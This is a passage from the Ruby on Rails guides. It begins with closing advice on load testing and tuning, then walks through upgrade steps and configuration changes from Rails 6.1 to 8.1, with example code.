Sending many simultaneous requests and timing them can be difficult. It is easy to introduce subtle measurement errors. Normally you should use a load testing program, not write your own. Many load testers are simple to use and many excellent load testers are free.

### [4.4. What You Can Change](#what-you-can-change)

You can change the number of threads in your test to find the best tradeoff between throughput and latency for your application.

Larger hosts with more memory and CPU cores will need more processes for best usage. You can vary the size and type of hosts from a hosting provider.

Increasing the number of iterations will usually give a more exact answer, but require longer for testing.

You should test on the same type of host that will run in production. Testing on your development machine will only tell you what settings are best for that development machine.

### [4.5. Warmup](#warmup)

Your application should process a number of requests after startup that are not included in your final measurements. These requests are called "warmup" requests, and are usually much slower than later "steady-state" requests.

Your load testing program will usually support warmup requests. You can also run it more than once and throw away the first set of times.

You have enough warmup requests when increasing the number does not significantly change your result. [The theory behind this can be complicated](https://arxiv.org/abs/1602.00602) but most common situations are straightforward: test several times with different amounts of warmup. See how many warmup iterations are needed before the results stay roughly the same.

Very long warmup can be useful for testing memory fragmentation and other issues that happen only after many requests.

### [4.6. Which Requests](#which-requests)

Your application probably accepts many different HTTP requests. You should begin by load testing with just a few of them. You can add more kinds of requests over time. If a particular kind of request is too slow in your production application, you can add it to your load testing code.

A synthetic workload cannot perfectly match your application's production traffic. It is still helpful for testing configurations.

### [4.7. What to Look For](#what-to-look-for)

Your load testing program should allow you to check latencies, including percentile and tail latencies.

For different numbers of processes and threads, or different configurations in general, check the throughput and one or more latencies such as `P50`, `P90`, and `P99`. Increasing the threads will improve throughput up to a point, but worsen latency.

Choose a tradeoff between latency and throughput based on your application's needs.

***

***

[Back to top](#main-skip-link)

----
url: https://guides.rubyonrails.org/v8.1/upgrading_ruby_on_rails.html
----

***

## [1. General Advice](#general-advice)

Before attempting to upgrade an existing application, you should be sure you have a good reason to upgrade. You need to balance several factors: the need for new features, the increasing difficulty of finding support for old code, and your available time and skills, to name a few.

### [1.1. Test Coverage](#test-coverage)

The best way to be sure that your application still works after upgrading is to have good test coverage before you start the process. If you don't have automated tests that exercise the bulk of your application, you'll need to spend time manually exercising all the parts that have changed. In the case of a Rails upgrade, that will mean every single piece of functionality in the application. Do yourself a favor and make sure your test coverage is good *before* you start an upgrade.

### [1.2. Ruby Versions](#ruby-versions)

Rails generally stays close to the latest released Ruby version when it's released:

* Rails 8.0 and 8.1 require Ruby 3.2.0 or newer.
* Rails 7.2 requires Ruby 3.1.0 or newer.
* Rails 7.0 and 7.1 require Ruby 2.7.0 or newer.
* Rails 6 requires Ruby 2.5.0 or newer.
* Rails 5 requires Ruby 2.2.2 or newer.

It's a good idea to upgrade Ruby and Rails separately. Upgrade to the latest Ruby you can first, and then upgrade Rails.

### [1.3. The Upgrade Process](#the-upgrade-process)

When changing Rails versions, it's best to move slowly, one minor version at a time, in order to make good use of the deprecation warnings. Rails version numbers are in the form Major.Minor.Patch. Major and Minor versions are allowed to make changes to the public API, so this may cause errors in your application. Patch versions only include bug fixes, and don't change any public API.

The process should go as follows:

1. Write tests and make sure they pass.
2. Move to the latest patch version after your current version.
3. Fix tests and deprecated features.
4. Move to the latest patch version of the next minor version.

Repeat this process until you reach your target Rails version.

#### [1.3.1. Moving between versions](#moving-between-versions)

To move between versions:

1. Change the Rails version number in the `Gemfile` and run `bundle update rails`.
2. Change the versions for Rails JavaScript packages in `package.json` and run `bin/rails javascript:install` if running jsbundling-rails.
3. Run the [Update task](#the-update-task).
4. Run your tests.

You can find a list of all released Rails gems [here](https://rubygems.org/gems/rails/versions).

### [1.4. The Update Task](#the-update-task)

Rails provides the `bin/rails app:update` command. After updating the Rails version in the `Gemfile`, run this command. This will help you with the creation of new files and changes of old files in an interactive session.

```
$ bin/rails app:update
       exist  config
    conflict  config/application.rb
Overwrite /myapp/config/application.rb? (enter "h" for help) [Ynaqdh]
       force  config/application.rb
      create  config/initializers/new_framework_defaults_8_0.rb
...
```

Don't forget to review the difference, to see if there were any unexpected changes, and note that the diff and merge tools used during this process can be defined using the `THOR_DIFF` and `THOR_MERGE` environment variables.

### [1.5. Configure Framework Defaults](#configure-framework-defaults)

The new Rails version might have different configuration defaults than the previous version. However, after following the steps described above, your application would still run with configuration defaults from the *previous* Rails version. That's because the value for `config.load_defaults` in `config/application.rb` has not been changed yet.

To allow you to upgrade to new defaults one by one, the update task has created a file `config/initializers/new_framework_defaults_X_Y.rb` (with the desired Rails version in the filename). You should enable the new configuration defaults by uncommenting them in the file; this can be done gradually over several deployments. Once your application is ready to run with new defaults, you can remove this file and flip the `config.load_defaults` value.

## [2. Upgrading from Rails 8.0 to Rails 8.1](#upgrading-from-rails-8-0-to-rails-8-1)

For more information on changes made to Rails 8.1 please see the [release notes](8_1_release_notes.html).

### [2.1. The table columns inside `schema.rb` are now sorted alphabetically.](#the-table-columns-inside-schema-rb-are-now-sorted-alphabetically)

Active Record now alphabetically sorts table columns in `schema.rb` by default, so dumps are consistent across machines and don’t flip-flop with migration order -- meaning fewer noisy diffs. `structure.sql` can still be leveraged to preserve exact column order. [See #53281 for more details on alphabetizing schema changes.](https://github.com/rails/rails/pull/53281)

## [3. Upgrading from Rails 7.2 to Rails 8.0](#upgrading-from-rails-7-2-to-rails-8-0)

For more information on changes made to Rails 8.0 please see the [release notes](8_0_release_notes.html).

## [4. Upgrading from Rails 7.1 to Rails 7.2](#upgrading-from-rails-7-1-to-rails-7-2)

For more information on changes made to Rails 7.2 please see the [release notes](7_2_release_notes.html).

### [4.1. All tests now respect the `active_job.queue_adapter` config](#all-tests-now-respect-the-active-job-queue-adapter-config)

If you have set `config.active_job.queue_adapter` in your `config/application.rb` or `config/environments/test.rb` file, the adapter you selected was previously not used consistently across all tests. In some tests your adapter would be used, but other tests would use the `TestAdapter`.

In Rails 7.2, all tests will respect the `queue_adapter` config if provided. This may cause test errors, if you had set the `queue_adapter` config to something other than `:test`, but written tests in a way that was dependent on the `TestAdapter`.

If no config is provided, the `TestAdapter` will continue to be used.

### [4.2. `alias_attribute` now bypasses custom methods on the original attribute](#alias-attribute-now-bypasses-custom-methods-on-the-original-attribute)

In Rails 7.2, `alias_attribute` now bypasses custom methods defined on the original attribute and directly accesses the underlying database value. This change was announced via deprecation warnings in Rails 7.1.

**Before (Rails 7.1):**

```
class User < ActiveRecord::Base
  def email
    "custom_#{super}"
  end

  alias_attribute :username, :email
end

user = User.create!(email: "test@example.com")
user.username
# => "custom_test@example.com"
```

**After (Rails 7.2):**

```
user = User.create!(email: "test@example.com")
user.username
# => "test@example.com"  # Raw database value
```

If you received the deprecation warning "Since Rails 7.2 `#{method_name}` will not be calling `#{target_name}` anymore", you should manually define the alias method:

```
class User < ActiveRecord::Base
  def email
    "custom_#{super}"
  end

  def username
    email  # This will call the custom email method
  end
end
```

Alternatively, you can use `alias_method`:

```
class User < ActiveRecord::Base
  def email
    "custom_#{super}"
  end

  alias_method :username, :email
end
```

## [5. Upgrading from Rails 7.0 to Rails 7.1](#upgrading-from-rails-7-0-to-rails-7-1)

For more information on changes made to Rails 7.1 please see the [release notes](7_1_release_notes.html).

### [5.1. Development and test environments secret\_key\_base file changed](#development-and-test-environments-secret-key-base-file-changed)

In development and test environments, the file from which Rails reads the `secret_key_base` has been renamed from `tmp/development_secret.txt` to `tmp/local_secret.txt`.

You can simply rename the previous file to `local_secret.txt` to continue using the same secret, or copy the key from the previous file to the new one.

Failure to do so will cause Rails to generate a new secret key in the new file `tmp/local_secret.txt` when the app loads.

This will invalidate all existing sessions/cookies in development and test environments, and also cause other signatures derived from `secret_key_base` to break, such as Active Storage/Action Text attachments.

Production and other environments are not affected.

### [5.2. New ActiveSupport::Cache serialization format](#upgrading-from-rails-7-0-to-rails-7-1-new-activesupport-cache-serialization-format)

A new 7.1 cache format is available which includes an optimization for bare string values such as view fragments.

The 7.1 cache format is used by default for new apps, and existing apps can enable the format by setting `config.load_defaults 7.1` or by setting `config.active_support.cache_format_version = 7.1` in `config/application.rb` or a `config/environments/*.rb` file.

Cache entries written using the 6.1 or 7.0 cache formats can be read when using the 7.1 format. To perform a rolling deploy of a Rails 7.1 upgrade, wherein servers that have not yet been upgraded must be able to read caches from upgraded servers, leave the cache format unchanged on the first deploy, then enable the 7.1 cache format on a subsequent deploy.

### [5.3. Autoloaded paths are no longer in $LOAD\_PATH](#autoloaded-paths-are-no-longer-in-$load-path)

Starting from Rails 7.1, the directories managed by the autoloaders are no longer added to `$LOAD_PATH`. This means it won't be possible to load their files with a manual `require` call, which shouldn't be done anyway.

Reducing the size of `$LOAD_PATH` speeds up `require` calls for apps not using `bootsnap`, and reduces the size of the `bootsnap` cache for the others.

If you'd like to have these paths still in `$LOAD_PATH`, you can opt-in:

```
config.add_autoload_paths_to_load_path = true
```

but we discourage doing so, classes and modules in the autoload paths are meant to be autoloaded. That is, just reference them.

The `lib` directory is not affected by this flag, it is added to `$LOAD_PATH` always.

### [5.4. config.autoload\_lib and config.autoload\_lib\_once](#config-autoload-lib-and-config-autoload-lib-once)

If your application does not have `lib` in the autoload or autoload once paths, please skip this section. You can find that out by inspecting the output of

```
# Print autoload paths.
$ bin/rails runner 'pp Rails.autoloaders.main.dirs'

# Print autoload once paths.
$ bin/rails runner 'pp Rails.autoloaders.once.dirs'
```

If your application already has `lib` in the autoload paths, normally there is configuration in `config/application.rb` that looks something like

```
# Autoload lib, but do not eager load it (maybe overlooked).
config.autoload_paths << config.root.join("lib")
```

or

```
# Autoload and also eager load lib.
config.autoload_paths << config.root.join("lib")
config.eager_load_paths << config.root.join("lib")
```

or

```
# Same, because all eager load paths become autoload paths too.
config.eager_load_paths << config.root.join("lib")
```

That still works, but it is recommended to replace those lines with the more concise

```
config.autoload_lib(ignore: %w(assets tasks))
```

Please, add to the `ignore` list any other `lib` subdirectories that do not contain `.rb` files, or that should not be reloaded or eager loaded. For example, if your application has `lib/templates`, `lib/generators`, or `lib/middleware`, you'd add their name relative to `lib`:

```
config.autoload_lib(ignore: %w(assets tasks templates generators middleware))
```

With that one-liner, the (non-ignored) code in `lib` will be also eager loaded if `config.eager_load` is `true` (the default in `production` mode). This is normally what you want, but if `lib` was not added to the eager load paths before and you still want it that way, please opt-out:

```
Rails.autoloaders.main.do_not_eager_load(config.root.join("lib"))
```

The method `config.autoload_lib_once` is the analogous one if the application had `lib` in `config.autoload_once_paths`.

### [5.5. `ActiveStorage::BaseController` no longer includes the streaming concern](#activestorage-basecontroller-no-longer-includes-the-streaming-concern)

Application controllers that inherit from `ActiveStorage::BaseController` and use streaming to implement custom file serving logic must now explicitly include the `ActiveStorage::Streaming` module.

### [5.6. `MemCacheStore` and `RedisCacheStore` now use connection pooling by default](#memcachestore-and-rediscachestore-now-use-connection-pooling-by-default)

The `connection_pool` gem has been added as a dependency of the `activesupport` gem, and the `MemCacheStore` and `RedisCacheStore` now use connection pooling by default.

If you don't want to use connection pooling, set `:pool` option to `false` when configuring your cache store:

```
config.cache_store = :mem_cache_store, "cache.example.com", { pool: false }
```

See the [caching with Rails](https://guides.rubyonrails.org/v7.1/caching_with_rails.html#connection-pool-options) guide for more information.

### [5.7. `SQLite3Adapter` now configured to be used in a strict strings mode](#sqlite3adapter-now-configured-to-be-used-in-a-strict-strings-mode)

The use of a strict strings mode disables double-quoted string literals.

SQLite has some quirks around double-quoted string literals. It first tries to consider double-quoted strings as identifier names, but if they don't exist it then considers them as string literals. Because of this, typos can silently go unnoticed. For example, it is possible to create an index for a non existing column. See [SQLite documentation](https://www.sqlite.org/quirks.html#double_quoted_string_literals_are_accepted) for more details.

If you don't want to use `SQLite3Adapter` in a strict mode, you can disable this behavior:

```
# config/application.rb
config.active_record.sqlite3_adapter_strict_strings_by_default = false
```

### [5.8. Support multiple preview paths for `ActionMailer::Preview`](#support-multiple-preview-paths-for-actionmailer-preview)

Option `config.action_mailer.preview_path` is deprecated in favor of `config.action_mailer.preview_paths`. Appending paths to this configuration option will cause those paths to be used in the search for mailer previews.

```
config.action_mailer.preview_paths << "#{Rails.root}/lib/mailer_previews"
```

### [5.9. `config.i18n.raise_on_missing_translations = true` now raises on any missing translation.](#config-i18n-raise-on-missing-translations-true-now-raises-on-any-missing-translation)

Previously it would only raise when called in a view or controller. Now it will raise anytime `I18n.t` is provided an unrecognized key.

```
# with config.i18n.raise_on_missing_translations = true

# in a view or controller:
t("missing.key") # raises in 7.0, raises in 7.1
I18n.t("missing.key") # didn't raise in 7.0, raises in 7.1

# anywhere:
I18n.t("missing.key") # didn't raise in 7.0, raises in 7.1
```

If you don't want this behavior, you can set `config.i18n.raise_on_missing_translations = false`:

```
# with config.i18n.raise_on_missing_translations = false

# in a view or controller:
t("missing.key") # didn't raise in 7.0, doesn't raise in 7.1
I18n.t("missing.key") # didn't raise in 7.0, doesn't raise in 7.1

# anywhere:
I18n.t("missing.key") # didn't raise in 7.0, doesn't raise in 7.1
```

Alternatively, you can customize the `I18n.exception_handler`. See the [i18n guide](https://guides.rubyonrails.org/v7.1/i18n.html#using-different-exception-handlers) for more information.

`AbstractController::Translation.raise_on_missing_translations` has been removed. This was a private API, if you were relying on it you should migrate to `config.i18n.raise_on_missing_translations` or to a custom exception handler.

### [5.10. `bin/rails test` now runs `test:prepare` task](#bin-rails-test-now-runs-test-prepare-task)

When running tests via `bin/rails test`, the `rake test:prepare` task will run before tests run. If you've enhanced the `test:prepare` task, your enhancements will run before your tests. `tailwindcss-rails`, `jsbundling-rails`, and `cssbundling-rails` enhance this task, as do other third party gems.

See the [Testing Rails Applications](https://guides.rubyonrails.org/testing.html#running-tests-in-continuous-integration-ci) guide for more information.

If you run a single file's tests (`bin/rails test test/models/user_test.rb`), `test:prepare` will not run before it.

### [5.11. Import syntax from `@rails/ujs` is modified](#import-syntax-from-@rails-ujs-is-modified)

Starting from Rails 7.1, the syntax for importing modules from `@rails/ujs` is modified. Rails no longer supports the direct import of a module from `@rails/ujs`.

For example, attempting to import a function from the library will fail:

```
import { fileInputSelector } from "@rails/ujs"
// ERROR: export 'fileInputSelector' (imported as 'fileInputSelector') was not found in '@rails/ujs' (possible exports: default)
```

In Rails 7.1, users should first import the Rails object directly from `@rails/ujs`. Users can then import specific modules from the Rails object.

An example of imports in Rails 7.1 is shown below:

```
import Rails from "@rails/ujs"
// Alias the method
const fileInputSelector = Rails.fileInputSelector
// Alternatively, reference it from the Rails object where it is used
Rails.fileInputSelector(...)
```

### [5.12. `Rails.logger` now returns an `ActiveSupport::BroadcastLogger` instance](#rails-logger-now-returns-an-activesupport-broadcastlogger-instance)

The `ActiveSupport::BroadcastLogger` class is a new logger that allows to broadcast logs to different sinks (STDOUT, a log file...) in an easy way.

The API to broadcast logs (using the `ActiveSupport::Logger.broadcast` method) was removed and was previously private. If your application or library was relying on this API, you need to make the following changes:

```
logger = Logger.new("some_file.log")

# Before

Rails.logger.extend(ActiveSupport::Logger.broadcast(logger))

# After

Rails.logger.broadcast_to(logger)
```

If your application had configured a custom logger, `Rails.logger` will wrap and proxy all methods to it. No changes on your side are required to make it work.

If you need to access your custom logger instance, you can do so using the `broadcasts` method:

```
# config/application.rb
config.logger = MyLogger.new

# Anywhere in your application
puts Rails.logger.class #=> BroadcastLogger
puts Rails.logger.broadcasts #=> [MyLogger]
```

### [5.13. Active Record Encryption algorithm changes](#active-record-encryption-algorithm-changes)

Active Record Encryption now uses SHA-256 as its hash digest algorithm. If you have data encrypted with previous Rails versions, there are two scenarios to consider:

1. If you have `config.active_support.key_generator_hash_digest_class` configured as SHA-1 (the default before Rails 7.0), you need to configure SHA-1 for Active Record Encryption too:

   ```
   config.active_record.encryption.hash_digest_class = OpenSSL::Digest::SHA1
   ```

   If all of your data was encrypted non-deterministicly (the default unless `encrypts` is passed `deterministic: true`, you can instead configure SHA-256 for Active Record Encryption as in scenario 2 below and also allow columns previously encrypted with SHA-1 to be decrypted by setting:

   ```
   config.active_record.encryption.support_sha1_for_non_deterministic_encryption = true
   ```

2. If you have `config.active_support.key_generator_hash_digest_class` configured as SHA-256 (the new default in 7.0), then you need to configure SHA-256 for Active Record Encryption:

   ```
   config.active_record.encryption.hash_digest_class = OpenSSL::Digest::SHA256
   ```

See the [Configuring Rails Applications](configuring.html#config-active-record-encryption-hash-digest-class) guide for more information on `config.active_record.encryption.hash_digest_class`.

In addition, a new configuration [`config.active_record.encryption.support_sha1_for_non_deterministic_encryption`](configuring.html#config-active-record-encryption-support-sha1-for-non-deterministic-encryption) was introduced to resolve [a bug](https://github.com/rails/rails/issues/42922) that caused some attributes to be encrypted using SHA-1 even when SHA-256 was configured via the aforementioned `hash_digest_class` configuration.

By default, `config.active_record.encryption.support_sha1_for_non_deterministic_encryption` is disabled in Rails 7.1. If you have data encrypted in a version of Rails < 7.1 that you believe may be affected by the aforementioned bug, this configuration should be enabled:

```
config.active_record.encryption.support_sha1_for_non_deterministic_encryption = true
```

**If you are working with encrypted data, please carefully review the above.**

### [5.14. New ways to handle exceptions in Controller Tests, Integration Tests, and System Tests](#new-ways-to-handle-exceptions-in-controller-tests-integration-tests-and-system-tests)

The `config.action_dispatch.show_exceptions` configuration controls how Action Pack handles exceptions raised while responding to requests.

Prior to Rails 7.1, setting `config.action_dispatch.show_exceptions = true` configured Action Pack to rescue exceptions and render appropriate HTML error pages, like rendering `public/404.html` with a `404 Not found` status code instead of raising an `ActiveRecord::RecordNotFound` exception. Setting `config.action_dispatch.show_exceptions = false` configured Action Pack to not rescue the exception. Prior to Rails 7.1, new applications were generated with a line in `config/environments/test.rb` that set `config.action_dispatch.show_exceptions = false`.

Rails 7.1 changes the acceptable values from `true` and `false` to `:all`, `:rescuable`, and `:none`.

* `:all` - render HTML error pages for all exceptions (equivalent to `true`)
* `:rescuable` - render HTML error pages for exceptions declared by [`config.action_dispatch.rescue_responses`](/configuring.html#config-action-dispatch-rescue-responses)
* `:none` (equivalent to `false`) - do not rescue from any exceptions

Applications generated by Rails 7.1 or later set `config.action_dispatch.show_exceptions = :rescuable` in their `config/environments/test.rb`. When upgrading, existing applications can change `config.action_dispatch.show_exceptions = :rescuable` to utilize the new behavior, or replace the old values with the corresponding new ones (`:all` replaces `true`, `:none` replaces `false`).

## [6. Upgrading from Rails 6.1 to Rails 7.0](#upgrading-from-rails-6-1-to-rails-7-0)

For more information on changes made to Rails 7.0 please see the [release notes](7_0_release_notes.html).

### [6.1. `ActionView::Helpers::UrlHelper#button_to` changed behavior](#actionview-helpers-urlhelper-button-to-changed-behavior)

Starting from Rails 7.0 `button_to` renders a `form` tag with `patch` HTTP verb if a persisted Active Record object is used to build button URL. To keep current behavior consider explicitly passing `method:` option:

```
-button_to("Do a POST", [:my_custom_post_action_on_workshop, Workshop.find(1)])
+button_to("Do a POST", [:my_custom_post_action_on_workshop, Workshop.find(1)], method: :post)
```

or using helper to build the URL:

```
-button_to("Do a POST", [:my_custom_post_action_on_workshop, Workshop.find(1)])
+button_to("Do a POST", my_custom_post_action_on_workshop_workshop_path(Workshop.find(1)))
```

### [6.2. Spring](#upgrading-from-rails-6-1-to-rails-7-0-spring)

If your application uses Spring, it needs to be upgraded to at least version 3.0.0. Otherwise you'll get

```
undefined method `mechanism=' for ActiveSupport::Dependencies:Module
```

Also, make sure [`config.cache_classes`](configuring.html#config-cache-classes) is set to `false` in `config/environments/test.rb`.

### [6.3. Sprockets is now an optional dependency](#sprockets-is-now-an-optional-dependency)

The gem `rails` doesn't depend on `sprockets-rails` anymore. If your application still needs to use Sprockets, make sure to add `sprockets-rails` to your Gemfile.

```
gem "sprockets-rails"
```

### [6.4. Applications need to run in `zeitwerk` mode](#applications-need-to-run-in-zeitwerk-mode)

Applications still running in `classic` mode have to switch to `zeitwerk` mode. Please check the [Classic to Zeitwerk HOWTO](https://guides.rubyonrails.org/v7.0/classic_to_zeitwerk_howto.html) guide for details.

### [6.5. The setter `config.autoloader=` has been deleted](#the-setter-config-autoloader-has-been-deleted)

In Rails 7 there is no configuration point to set the autoloading mode, `config.autoloader=` has been deleted. If you had it set to `:zeitwerk` for whatever reason, just remove it.

### [6.6. `ActiveSupport::Dependencies` private API has been deleted](#activesupport-dependencies-private-api-has-been-deleted)

The private API of `ActiveSupport::Dependencies` has been deleted. That includes methods like `hook!`, `unhook!`, `depend_on`, `require_or_load`, `mechanism`, and many others.

A few of highlights:

* If you used `ActiveSupport::Dependencies.constantize` or `ActiveSupport::Dependencies.safe_constantize`, just change them to `String#constantize` or `String#safe_constantize`.

```
  ActiveSupport::Dependencies.constantize("User") # NO LONGER POSSIBLE
  "User".constantize # 👍
```

* Any usage of `ActiveSupport::Dependencies.mechanism`, reader or writer, has to be replaced by accessing `config.cache_classes` accordingly.

* If you want to trace the activity of the autoloader, `ActiveSupport::Dependencies.verbose=` is no longer available, just throw `Rails.autoloaders.log!` in `config/application.rb`.

Auxiliary internal classes or modules are also gone, like `ActiveSupport::Dependencies::Reference`, `ActiveSupport::Dependencies::Blamable`, and others.

### [6.7. Autoloading during initialization](#autoloading-during-initialization)

Applications that autoloaded reloadable constants during initialization outside of `to_prepare` blocks got those constants unloaded and had this warning issued since Rails 6.0:

```
DEPRECATION WARNING: Initialization autoloaded the constant ....

Being able to do this is deprecated. Autoloading during initialization is going
to be an error condition in future versions of Rails.

...
```

If you still get this warning in the logs, please check the section about autoloading when the application boots in the [autoloading guide](https://guides.rubyonrails.org/v7.0/autoloading_and_reloading_constants.html#autoloading-when-the-application-boots). You'd get a `NameError` in Rails 7 otherwise.

Constants managed by the `once` autoloader can be autoloaded during initialization, and they can be used normally, no need for a `to_prepare` block. However, the `once` autoloader is now set up earlier to support that. If the application has custom inflections, and the `once` autoloader should be aware of them, you need to move the code in `config/initializers/inflections.rb` to the body of the application class definition in `config/application.rb`:

```
module MyApp
  class Application < Rails::Application
    # ...

    ActiveSupport::Inflector.inflections(:en) do |inflect|
      inflect.acronym "HTML"
    end
  end
end
```

### [6.8. Ability to configure `config.autoload_once_paths`](#ability-to-configure-config-autoload-once-paths)

[`config.autoload_once_paths`](configuring.html#config-autoload-once-paths) can be set in the body of the application class defined in `config/application.rb` or in the configuration for environments in `config/environments/*`.

Similarly, engines can configure that collection in the class body of the engine class or in the configuration for environments.

After that, the collection is frozen, and you can autoload from those paths. In particular, you can autoload from there during initialization. They are managed by the `Rails.autoloaders.once` autoloader, which does not reload, only autoloads/eager loads.

If you configured this setting after the environments configuration has been processed and are getting `FrozenError`, please just move the code.

### [6.9. `ActionDispatch::Request#content_type` now returns Content-Type header as it is.](#actiondispatch-request-content-type-now-returns-content-type-header-as-it-is)

Previously, `ActionDispatch::Request#content_type` returned value does NOT contain charset part. This behavior changed to returned Content-Type header containing charset part as it is.

If you want just MIME type, please use `ActionDispatch::Request#media_type` instead.

Before:

```
request = ActionDispatch::Request.new("CONTENT_TYPE" => "text/csv; header=present; charset=utf-16", "REQUEST_METHOD" => "GET")
request.content_type #=> "text/csv"
```

After:

```
request = ActionDispatch::Request.new("Content-Type" => "text/csv; header=present; charset=utf-16", "REQUEST_METHOD" => "GET")
request.content_type #=> "text/csv; header=present; charset=utf-16"
request.media_type   #=> "text/csv"
```

### [6.10. Key generator digest class change requires a cookie rotator](#key-generator-digest-class-change-requires-a-cookie-rotator)

The default digest class for the key generator is changing from SHA1 to SHA256. This has consequences in any encrypted message generated by Rails, including encrypted cookies.

In order to be able to read messages using the old digest class it is necessary to register a rotator. Failing to do so may result in users having their sessions invalidated during the upgrade.

The following is an example for rotator for the encrypted and the signed cookies.

```
# config/initializers/cookie_rotator.rb
Rails.application.config.after_initialize do
  Rails.application.config.action_dispatch.cookies_rotations.tap do |cookies|
    authenticated_encrypted_cookie_salt = Rails.application.config.action_dispatch.authenticated_encrypted_cookie_salt
    signed_cookie_salt = Rails.application.config.action_dispatch.signed_cookie_salt

    secret_key_base = Rails.application.secret_key_base

    key_generator = ActiveSupport::KeyGenerator.new(
      secret_key_base, iterations: 1000, hash_digest_class: OpenSSL::Digest::SHA1
    )
    key_len = ActiveSupport::MessageEncryptor.key_len

    old_encrypted_secret = key_generator.generate_key(authenticated_encrypted_cookie_salt, key_len)
    old_signed_secret = key_generator.generate_key(signed_cookie_salt)

    cookies.rotate :encrypted, old_encrypted_secret
    cookies.rotate :signed, old_signed_secret
  end
end
```

### [6.11. Digest class for ActiveSupport::Digest changing to SHA256](#digest-class-for-activesupport-digest-changing-to-sha256)

The default digest class for ActiveSupport::Digest is changing from SHA1 to SHA256. This has consequences for things like Etags that will change and cache keys as well. Changing these keys can have impact on cache hit rates, so be careful and watch out for this when upgrading to the new hash.

### [6.12. New ActiveSupport::Cache serialization format](#upgrading-from-rails-6-1-to-rails-7-0-new-activesupport-cache-serialization-format)

A faster and more compact serialization format was introduced.

To enable it you must set `config.active_support.cache_format_version = 7.0`:

```
# config/application.rb

config.load_defaults 6.1
config.active_support.cache_format_version = 7.0
```

Or simply:

```
# config/application.rb

config.load_defaults 7.0
```

However Rails 6.1 applications are not able to read this new serialization format, so to ensure a seamless upgrade you must first deploy your Rails 7.0 upgrade with `config.active_support.cache_format_version = 6.1`, and then only once all Rails processes have been updated you can set `config.active_support.cache_format_version = 7.0`.

Rails 7.0 is able to read both formats so the cache won't be invalidated during the upgrade.

### [6.13. Active Storage video preview image generation](#active-storage-video-preview-image-generation)

Video preview image generation now uses FFmpeg's scene change detection to generate more meaningful preview images. Previously the first frame of the video would be used and that caused problems if the video faded in from black. This change requires FFmpeg v3.4+.

### [6.14. Active Storage default variant processor changed to `:vips`](#active-storage-default-variant-processor-changed-to-vips)

For new apps, image transformation will use libvips instead of ImageMagick. This will reduce the time taken to generate variants as well as CPU and memory usage, improving response times in apps that rely on Active Storage to serve their images.

The `:mini_magick` option is not being deprecated, so it is fine to keep using it.

To migrate an existing app to libvips, set:

```
Rails.application.config.active_storage.variant_processor = :vips
```

You will then need to change existing image transformation code to the `image_processing` macros, and replace ImageMagick's options with libvips' options.

#### [6.14.1. Replace resize with resize\_to\_limit](#replace-resize-with-resize-to-limit)

```
- variant(resize: "100x")
+ variant(resize_to_limit: [100, nil])
```

If you don't do this, when you switch to vips you will see this error: `no implicit conversion to float from string`.

#### [6.14.2. Use an array when cropping](#use-an-array-when-cropping)

```
- variant(crop: "1920x1080+0+0")
+ variant(crop: [0, 0, 1920, 1080])
```

If you don't do this when migrating to vips, you will see the following error: `unable to call crop: you supplied 2 arguments, but operation needs 5`.

#### [6.14.3. Clamp your crop values:](#clamp-your-crop-values)

Vips is more strict than ImageMagick when it comes to cropping:

1. It will not crop if `x` and/or `y` are negative values. e.g.: `[-10, -10, 100, 100]`
2. It will not crop if position (`x` or `y`) plus crop dimension (`width`, `height`) is larger than the image. e.g.: a 125x125 image and a crop of `[50, 50, 100, 100]`

If you don't do this when migrating to vips, you will see the following error: `extract_area: bad extract area`

#### [6.14.4. Adjust the background color used for `resize_and_pad`](#adjust-the-background-color-used-for-resize-and-pad)

Vips uses black as the default background color `resize_and_pad`, instead of white like ImageMagick. Fix that by using the `background` option:

```
- variant(resize_and_pad: [300, 300])
+ variant(resize_and_pad: [300, 300, background: [255]])
```

#### [6.14.5. Remove any EXIF based rotation](#remove-any-exif-based-rotation)

Vips will auto rotate images using the EXIF value when processing variants. If you were storing rotation values from user uploaded photos to apply rotation with ImageMagick, you must stop doing that:

```
- variant(format: :jpg, rotate: rotation_value)
+ variant(format: :jpg)
```

#### [6.14.6. Replace monochrome with colourspace](#replace-monochrome-with-colourspace)

Vips uses a different option to make monochrome images:

```
- variant(monochrome: true)
+ variant(colourspace: "b-w")
```

#### [6.14.7. Switch to libvips options for compressing images](#switch-to-libvips-options-for-compressing-images)

JPEG

```
- variant(strip: true, quality: 80, interlace: "JPEG", sampling_factor: "4:2:0", colorspace: "sRGB")
+ variant(saver: { strip: true, quality: 80, interlace: true })
```

PNG

```
- variant(strip: true, quality: 75)
+ variant(saver: { strip: true, compression: 9 })
```

WEBP

```
- variant(strip: true, quality: 75, define: { webp: { lossless: false, alpha_quality: 85, thread_level: 1 } })
+ variant(saver: { strip: true, quality: 75, lossless: false, alpha_q: 85, reduction_effort: 6, smart_subsample: true })
```

GIF

```
- variant(layers: "Optimize")
+ variant(saver: { optimize_gif_frames: true, optimize_gif_transparency: true })
```

#### [6.14.8. Deploy to production](#deploy-to-production)

Active Storage encodes into the url for the image the list of transformations that must be performed. If your app is caching these urls, your images will break after you deploy the new code to production. Because of this you must manually invalidate your affected cache keys.

For example, if you have something like this in a view:

```
<% @products.each do |product| %>
  <% cache product do %>
    <%= image_tag product.cover_photo.variant(resize: "200x") %>
  <% end %>
<% end %>
```

You can invalidate the cache either by touching the product, or changing the cache key:

```
<% @products.each do |product| %>
  <% cache ["v2", product] do %>
    <%= image_tag product.cover_photo.variant(resize_to_limit: [200, nil]) %>
  <% end %>
<% end %>
```

### [6.15. Rails version is now included in the Active Record schema dump](#rails-version-is-now-included-in-the-active-record-schema-dump)

Rails 7.0 changed some default values for some column types. To avoid that application upgrading from 6.1 to 7.0 load the current schema using the new 7.0 defaults, Rails now includes the version of the framework in the schema dump.

Before loading the schema for the first time in Rails 7.0, make sure to run `bin/rails app:update` to ensure that the version of the schema is included in the schema dump.

The schema file will look like this:

```
# This file is auto-generated from the current state of the database. Instead
# of editing this file, please use the migrations feature of Active Record to
# incrementally modify your database, and then regenerate this schema definition.
#
# This file is the source Rails uses to define your schema when running `bin/rails
# db:schema:load`. When creating a new database, `bin/rails db:schema:load` tends to
# be faster and is potentially less error prone than running all of your
# migrations from scratch. Old migrations may fail to apply correctly if those
# migrations use external dependencies or application code.
#
# It's strongly recommended that you check this file into your version control system.

ActiveRecord::Schema[6.1].define(version: 2022_01_28_123512) do
  # ...
end
```

The first time you dump the schema with Rails 7.0, you will see many changes to that file, including some column information. Make sure to review the new schema file content and commit it to your repository.

## [7. Upgrading from Rails 6.0 to Rails 6.1](#upgrading-from-rails-6-0-to-rails-6-1)

